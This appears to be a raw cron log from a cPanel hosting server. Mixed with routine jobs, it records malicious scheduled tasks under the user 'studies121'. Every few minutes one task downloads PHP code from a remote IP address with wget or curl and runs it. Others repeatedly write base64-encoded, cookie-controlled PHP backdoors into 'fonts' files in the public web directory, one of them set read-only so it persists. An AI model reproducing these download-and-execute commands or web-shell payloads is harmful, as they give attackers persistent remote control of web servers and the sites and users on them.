Sep  4 16:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[18081]: finished 0anacron
Sep  4 16:02:01 ip-184-168-122-23 CROND[18161]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:02:01 ip-184-168-122-23 CROND[18163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:02:01 ip-184-168-122-23 CROND[18164]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 16:02:01 ip-184-168-122-23 CROND[18166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:02:01 ip-184-168-122-23 CROND[18162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:03:01 ip-184-168-122-23 CROND[18302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:03:01 ip-184-168-122-23 CROND[18303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:03:01 ip-184-168-122-23 CROND[18299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:03:01 ip-184-168-122-23 CROND[18300]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:04:01 ip-184-168-122-23 CROND[18420]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:04:01 ip-184-168-122-23 CROND[18423]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 16:04:01 ip-184-168-122-23 CROND[18422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:04:01 ip-184-168-122-23 CROND[18424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:04:01 ip-184-168-122-23 CROND[18425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:05:01 ip-184-168-122-23 CROND[18526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:05:01 ip-184-168-122-23 CROND[18527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:05:01 ip-184-168-122-23 CROND[18530]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 16:05:01 ip-184-168-122-23 CROND[18532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:05:01 ip-184-168-122-23 CROND[18529]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 16:05:01 ip-184-168-122-23 CROND[18535]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 16:05:01 ip-184-168-122-23 CROND[18536]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:06:01 ip-184-168-122-23 CROND[18629]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:06:01 ip-184-168-122-23 CROND[18631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:06:01 ip-184-168-122-23 CROND[18632]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 16:06:01 ip-184-168-122-23 CROND[18634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:06:01 ip-184-168-122-23 CROND[18633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:07:01 ip-184-168-122-23 CROND[18718]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:07:01 ip-184-168-122-23 CROND[18720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:07:01 ip-184-168-122-23 CROND[18721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:07:01 ip-184-168-122-23 CROND[18722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:08:01 ip-184-168-122-23 CROND[18802]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:08:01 ip-184-168-122-23 CROND[18805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:08:01 ip-184-168-122-23 CROND[18806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:08:01 ip-184-168-122-23 CROND[18807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:08:01 ip-184-168-122-23 CROND[18804]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 16:09:01 ip-184-168-122-23 CROND[18886]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:09:01 ip-184-168-122-23 CROND[18888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:09:01 ip-184-168-122-23 CROND[18885]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:09:01 ip-184-168-122-23 CROND[18889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:09:01 ip-184-168-122-23 CROND[18887]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 16:10:01 ip-184-168-122-23 CROND[19073]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 16:10:01 ip-184-168-122-23 CROND[19075]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 16:10:01 ip-184-168-122-23 CROND[19077]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 16:10:01 ip-184-168-122-23 CROND[19076]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 16:10:01 ip-184-168-122-23 CROND[19078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:10:01 ip-184-168-122-23 CROND[19080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:10:01 ip-184-168-122-23 CROND[19081]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:10:01 ip-184-168-122-23 CROND[19082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:11:01 ip-184-168-122-23 CROND[19182]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:11:01 ip-184-168-122-23 CROND[19183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:11:01 ip-184-168-122-23 CROND[19185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:11:01 ip-184-168-122-23 CROND[19184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:12:01 ip-184-168-122-23 CROND[19278]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:12:01 ip-184-168-122-23 CROND[19279]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 16:12:01 ip-184-168-122-23 CROND[19280]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:12:01 ip-184-168-122-23 CROND[19282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:12:01 ip-184-168-122-23 CROND[19281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:13:01 ip-184-168-122-23 CROND[19366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 16:13:01 ip-184-168-122-23 CROND[19367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 16:13:01 ip-184-168-122-23 CROND[19371]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 16:13:01 ip-184-168-122-23 CROND[19370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 16:14:01 ip-184-168-122-23 CROND[19448]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
